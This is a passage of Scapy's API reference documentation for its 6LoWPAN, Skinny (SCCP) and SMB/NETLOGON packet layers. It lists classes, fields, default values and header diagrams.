 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|S|D|L|   RES   |
+-+-+-+-+-+-+-+-+

                       Fig. LoWPAN_HC2_UDP                        


LoWPAN_HC2_UDP fields






	sc

	BitEnumField

	0



	dc

	BitEnumField

	0



	lc

	BitEnumField

	0



	res

	BitField  (5 bits)

	0















	
class scapy.layers.sixlowpan.LoWPAN_IPHC(_pkt, /, *, _reserved=3, tf=0, nh=0, hlim=0, cid=0, sac=0, sam=0, m=0, dac=0, dam=0, sci=0, dci=0, tc_ecn=0, tc_dscp=0, rsv=None, flowlabel=0, nhField=0, hopLimit=0, src='::', dst='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L542-L878]

	Bases: Packet

6LoWPAN IPv6 header compressed packets

It follows the implementation of RFC6282


	
aliastypes

	




	
compressDestAddr(ipv6)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L734-L763]

	




	
compressSourceAddr(ipv6)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L710-L732]

	




	
decompressDestAddr(packet)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L653-L708]

	




	
decompressSourceAddr(packet)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L765-L799]

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'_hopLimit': ('hopLimit', '2.4.4'), '_nhField': ('nhField', '2.4.4'), 'destinyAddr': ('dst', '2.4.4'), 'sourceAddr': ('src', '2.4.4'), 'udpDestinyPort': ('udpDestPort', '2.4.4')}

	




	
do_build()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L810-L861]

	




	
do_build_payload()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L863-L867]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RESE| TF|N|HLI|C|S|SAM|M|D|DAM|  SCI  |  DCI  |TC |  TC DSCP  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RSV|               FLOWLABEL               |    NHFIELD    |HOP|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           |                        SRC                        |
+-+-+-+-+-+-+                                                   +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           |                        DST                        |
+-+-+-+-+-+-+                                                   +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+           +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           |
+-+-+-+-+-+-+

                         Fig. LoWPAN_IPHC                         


LoWPAN_IPHC fields






	_reserved

	BitField  (3 bits)

	3



	tf

	BitField  (2 bits)

	0



	nh

	BitEnumField

	0



	hlim

	BitEnumField

	0



	cid

	BitEnumField

	0



	sac

	BitEnumField

	0



	sam

	BitEnumField

	0



	m

	BitEnumField

	0



	dac

	BitEnumField

	0



	dam

	BitEnumField

	0



	sci

	BitField (Cond) (4 bits)

	0



	dci

	BitField (Cond) (4 bits)

	0



	tc_ecn

	BitField (Cond) (2 bits)

	0



	tc_dscp

	BitField (Cond) (6 bits)

	0



	rsv

	MultipleTypeField (Cond, BitField, BitField)

	0



	flowlabel

	BitField (Cond) (20 bits)

	0



	nhField

	ByteEnumField (Cond)

	0



	hopLimit

	ByteField (Cond)

	0



	src

	IP6FieldLenField

	'::'



	dst

	IP6FieldLenField

	'::'











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L801-L808]

	




	
post_dissect(data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L620-L651]

	dissect the IPv6 package compressed into this IPHC packet.

The packet payload needs to be decompressed and depending on the
arguments, several conversions should be done.










	
class scapy.layers.sixlowpan.LoWPAN_NHC(_pkt, /, *, exts=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L966-L1079]

	Bases: Packet


	
aliastypes

	




	
do_build()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L1022-L1062]

	




	
do_build_payload()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L1064-L1071]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              EXTS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LoWPAN_NHC                          


LoWPAN_NHC fields






	exts

	PacketListField

	[]











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L1073-L1079]

	




	
post_dissect(data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L975-L1020]

	








	
class scapy.layers.sixlowpan.LoWPAN_NHC_Hdr(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L887-L903]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=b'', *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L898-L900]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L902-L903]

	




	
classmethod get_next_cls(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L888-L896]

	








	
class scapy.layers.sixlowpan.LoWPAN_NHC_IPv6Ext(_pkt, /, *, res=14, eid=0, nh=0, nhField=0, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L946-L963]

	Bases: LoWPAN_NHC_Hdr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RES  | EID |N|    NHFIELD    |      LEN      |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. LoWPAN_NHC_IPv6Ext                      


LoWPAN_NHC_IPv6Ext fields






	res

	BitField  (4 bits)

	14



	eid

	BitEnumField

	0



	nh

	BitField  (1 bit)

	0



	nhField

	ByteField (Cond)

	0



	len

	FieldLenField

	None



	data

	StrFixedLenField

	b''











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L959-L963]

	








	
class scapy.layers.sixlowpan.LoWPAN_NHC_UDP(_pkt, /, *, res=30, C=0, P=0, udpSourcePort=None, udpDestPort=None, udpChecksum=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L906-L933]

	Bases: LoWPAN_NHC_Hdr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RES   |C| P |         UDPSOURCEPORT         |  UDPDESTPORT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          UDPCHECKSUM          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LoWPAN_NHC_UDP                        


LoWPAN_NHC_UDP fields






	res

	BitField  (5 bits)

	30



	C

	BitField  (1 bit)

	0



	P

	BitField  (2 bits)

	0



	udpSourcePort

	MultipleTypeField (BitField, BitField, BitField, BitField)

	0



	udpDestPort

	MultipleTypeField (BitField, BitField, BitField, BitField)

	0



	udpChecksum

	XShortField (Cond)

	0















	
class scapy.layers.sixlowpan.SixLoWPAN(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L1093-L1117]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=b'', *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L1096-L1117]

	Depending on the payload content, the frame type we should interpretate










	
class scapy.layers.sixlowpan.SixLoWPAN_ESC(_pkt, /, *, dispatch=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L1088-L1090]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    DISPATCH   |
+-+-+-+-+-+-+-+-+

                        Fig. SixLoWPAN_ESC                        


SixLoWPAN_ESC fields






	dispatch

	ByteField

	0















	
scapy.layers.sixlowpan.dest_addr_size(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L448-L496]

	Destination address size

This function depending on the arguments returns the amount of bits to be
used by the destination address.

Keyword arguments:
pkt – packet object instance






	
scapy.layers.sixlowpan.sixlowpan_defragment(packet_list)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L1159-L1170]

	




	
scapy.layers.sixlowpan.sixlowpan_fragment(packet, datagram_tag=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L1128-L1156]

	Split a packet into different links to transmit as 6lowpan packets.
Usage example:

>>> ipv6 = ..... (very big packet)
>>> pkts = sixlowpan_fragment(ipv6, datagram_tag=0x17)
>>> send = [Dot15d4()/Dot15d4Data()/x for x in pkts]
>>> wireshark(send)










	
scapy.layers.sixlowpan.source_addr_size(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L419-L445]

	Source address size

This function depending on the arguments returns the amount of bits to be
used by the source address.

Keyword arguments:
pkt – packet object instance








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.skinny

Skinny Call Control Protocol (SCCP)


	
class scapy.layers.skinny.Skinny(_pkt, /, *, len=0, res=0, msg=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/skinny.py#L153-L157]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RES                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MSG                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Skinny                            


Skinny fields






	len

	LEIntField

	0



	res

	LEIntField

	0



	msg

	LEIntEnumField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.smb

SMB (Server Message Block), also known as CIFS.

Specs:


	[MS-CIFS] (base)


	[MS-SMB] (extension of CIFS - SMB v1)





	
class scapy.layers.smb.BRWS(_pkt, /, *, OpCode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1097-L1129]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1128-L1129]

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1122-L1126]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPCODE    |
+-+-+-+-+-+-+-+-+

                            Fig. BRWS                             


BRWS fields






	OpCode

	ByteEnumField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1113-L1114]

	




	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1118-L1120]

	




	
registered_opcodes = {0: <class 'scapy.layers.smb.BRWS'>, 1: <class 'scapy.layers.smb.BRWS_HostAnnouncement'>, 11: <class 'scapy.layers.smb.BRWS_BecomeBackup'>, 15: <class 'scapy.layers.smb.BRWS_LocalMasterAnnouncement'>}

	








	
class scapy.layers.smb.BRWS_BecomeBackup(_pkt, /, *, OpCode=11, BrowserToPromote=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1156-L1164]

	Bases: BRWS


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPCODE    |        BROWSERTOPROMOTE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. BRWS_BecomeBackup                      


BRWS_BecomeBackup fields






	OpCode

	ByteEnumField

	11



	BrowserToPromote

	StrNullField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1163-L1164]

	








	
class scapy.layers.smb.BRWS_HostAnnouncement(_pkt, /, *, OpCode=1, UpdateCount=0, Periodicity=128000, ServerName=b'', OSVersionMajor=6, OSVersionMinor=1, ServerType=4611, BrowserConfigVersionMajor=21, BrowserConfigVersionMinor=1, Signature=43605, Comment=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1134-L1151]

	Bases: BRWS


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPCODE    |  UPDATECOUNT  |          PERIODICITY          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           SERVERNAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | OSVERSIONMAJOR| OSVERSIONMINOR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SERVERTYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BROWSERCONFIGVE|BROWSERCONFIGVE|           SIGNATURE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            COMMENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. BRWS_HostAnnouncement                    


BRWS_HostAnnouncement fields






	OpCode

	ByteEnumField

	1



	UpdateCount

	ByteField

	0



	Periodicity

	LEIntField

	128000



	ServerName

	StrFixedLenField

	b''



	OSVersionMajor

	ByteField

	6



	OSVersionMinor

	ByteField

	1



	ServerType

	LEIntField

	4611



	BrowserConfigVersionMajor

	ByteField

	21



	BrowserConfigVersionMinor

	ByteField

	1



	Signature

	XLEShortField

	43605



	Comment

	StrNullField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1150-L1151]

	








	
class scapy.layers.smb.BRWS_LocalMasterAnnouncement(_pkt, /, *, OpCode=15, UpdateCount=0, Periodicity=128000, ServerName=b'', OSVersionMajor=6, OSVersionMinor=1, ServerType=4611, BrowserConfigVersionMajor=21, BrowserConfigVersionMinor=1, Signature=43605, Comment=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1169-L1170]

	Bases: BRWS_HostAnnouncement


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPCODE    |  UPDATECOUNT  |          PERIODICITY          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           SERVERNAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | OSVERSIONMAJOR| OSVERSIONMINOR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SERVERTYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BROWSERCONFIGVE|BROWSERCONFIGVE|           SIGNATURE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            COMMENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. BRWS_LocalMasterAnnouncement                 


BRWS_LocalMasterAnnouncement fields






	OpCode

	ByteEnumField

	15



	UpdateCount

	ByteField

	0



	Periodicity

	LEIntField

	128000



	ServerName

	StrFixedLenField

	b''



	OSVersionMajor

	ByteField

	6



	OSVersionMinor

	ByteField

	1



	ServerType

	LEIntField

	4611



	BrowserConfigVersionMajor

	ByteField

	21



	BrowserConfigVersionMinor

	ByteField

	1



	Signature

	XLEShortField

	43605



	Comment

	StrNullField

	b''















	
class scapy.layers.smb.DcSockAddr(_pkt, /, *, sin_family=2, sin_port=0, sin_addr=None, sin_zero=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1037-L1046]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1045-L1046]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SIN FAMILY          |            SIN PORT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SIN ADDR                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SIN ZERO                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DcSockAddr                          


DcSockAddr fields






	sin_family

	LEShortField

	2



	sin_port

	LEShortField

	0



	sin_addr

	IPField

	None



	sin_zero

	LELongField

	0















	
class scapy.layers.smb.NETLOGON(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L907-L934]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L908-L934]

	








	
class scapy.layers.smb.NETLOGON_LOGON_QUERY(_pkt, /, *, OpCode=7, ComputerName=b'', MailslotName=b'', UnicodeComputerName=b'', NtVersion=<Flag 11 (V1+V5+V5EX_WITH_IP)>, LmNtToken=65535, Lm20Token=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L937-L946]

	Bases: NETLOGON


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OPCODE            |          COMPUTERNAME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAILSLOTNAME         |      UNICODECOMPUTERNAME      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NTVERSION                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LMNTTOKEN           |           LM20TOKEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. NETLOGON_LOGON_QUERY                     


NETLOGON_LOGON_QUERY fields






	OpCode

	LEShortEnumField

	7



	ComputerName

	StrNullField

	b''



	MailslotName

	StrNullField

	b''



	UnicodeComputerName

	StrNullFieldUtf16

	b''



	NtVersion

	FlagsField

	<Flag 11 (V1+V5+V5EX_WITH_IP)>



	LmNtToken

	XLEShortField

	65535



	Lm20Token

	XLEShortField

	65535















	
class scapy.layers.smb.NETLOGON_SAM_LOGON_REQUEST(_pkt, /, *, OpCode=18, RequestCount=0, UnicodeComputerName=b'', UnicodeUserName=b'', MailslotName=b'\\MAILSLOT\\NET\\GETDC701253F9', AllowableAccountControlBits=0, DomainSidSize=None, DomainSid=b'', NtVersion=<Flag 11 (V1+V5+V5EX_WITH_IP)>, LmNtToken=65535, Lm20Token=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L952-L965]

	Bases: NETLOGON


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OPCODE            |          REQUESTCOUNT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      UNICODECOMPUTERNAME      |        UNICODEUSERNAME        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAILSLOTNAME         |  ALLOWABLEACCOUNTCONTROLBITS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         DOMAINSIDSIZE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           DOMAINSID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NTVERSION                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LMNTTOKEN           |           LM20TOKEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. NETLOGON_SAM_LOGON_REQUEST                  


NETLOGON_SAM_LOGON_REQUEST fields






	OpCode

	LEShortEnumField

	18



	RequestCount

	LEShortField

	0



	UnicodeComputerName

	StrNullFieldUtf16

	b''



	UnicodeUserName

	StrNullFieldUtf16

	b''



	MailslotName

	StrNullField

	b'\\MAILSLOT\\NET\\GETDC701253F9'



	AllowableAccountControlBits

	LEIntField

	0



	DomainSidSize

	FieldLenField

	None



	DomainSid

	XStrLenField

	b''



	NtVersion

	FlagsField

	<Flag 11 (V1+V5+V5EX_WITH_IP)>



	LmNtToken

	XLEShortField

	65535



	Lm20Token

	XLEShortField

	65535















	
class scapy.layers.smb.NETLOGON_SAM_LOGON_RESPONSE(_pkt, /, *, OpCode=23, UnicodeLogonServer=b'', UnicodeUserName=b'', UnicodeDomainName=b'', DomainGuid=None, NullGuid=None, DnsForestName=b'.', DnsDomainName=b'.', DnsHostName=b'.', DcIpAddress='0.0.0.0', Flags=<Flag 0 ()>, NtVersion=<Flag 1 (V1)>, LmNtToken=65535, Lm20Token=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1012-L1031]

	Bases: NETLOGON, DNSCompressedPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OPCODE            |       UNICODELOGONSERVER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        UNICODEUSERNAME        |       UNICODEDOMAINNAME       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DOMAINGUID                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NULLGUID                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DNSFORESTNAME         |         DNSDOMAINNAME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DNSHOSTNAME          |          DCIPADDRESS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           NTVERSION           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           LMNTTOKEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LM20TOKEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. NETLOGON_SAM_LOGON_RESPONSE                 


NETLOGON_SAM_LOGON_RESPONSE fields






	OpCode

	LEShortEnumField

	23



	UnicodeLogonServer

	StrNullFieldUtf16

	b''



	UnicodeUserName

	StrNullFieldUtf16

	b''



	UnicodeDomainName

	StrNullFieldUtf16

	b''



	DomainGuid

	UUIDField

	None



	NullGuid

	UUIDField

	None



	DnsForestName

	DNSStrField

	b'.'



	DnsDomainName

	DNSStrField

	b'.'



	DnsHostName

	DNSStrField

	b'.'



	DcIpAddress

	IPField

	'0.0.0.0'



	Flags

	FlagsField

	<Flag 0 ()>



	NtVersion

	FlagsField

	<Flag 1 (V1)>



	LmNtToken

	XLEShortField

	65535



	Lm20Token

	XLEShortField

	65535











	
get_full()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb.py#L1030-L1031]

	








	
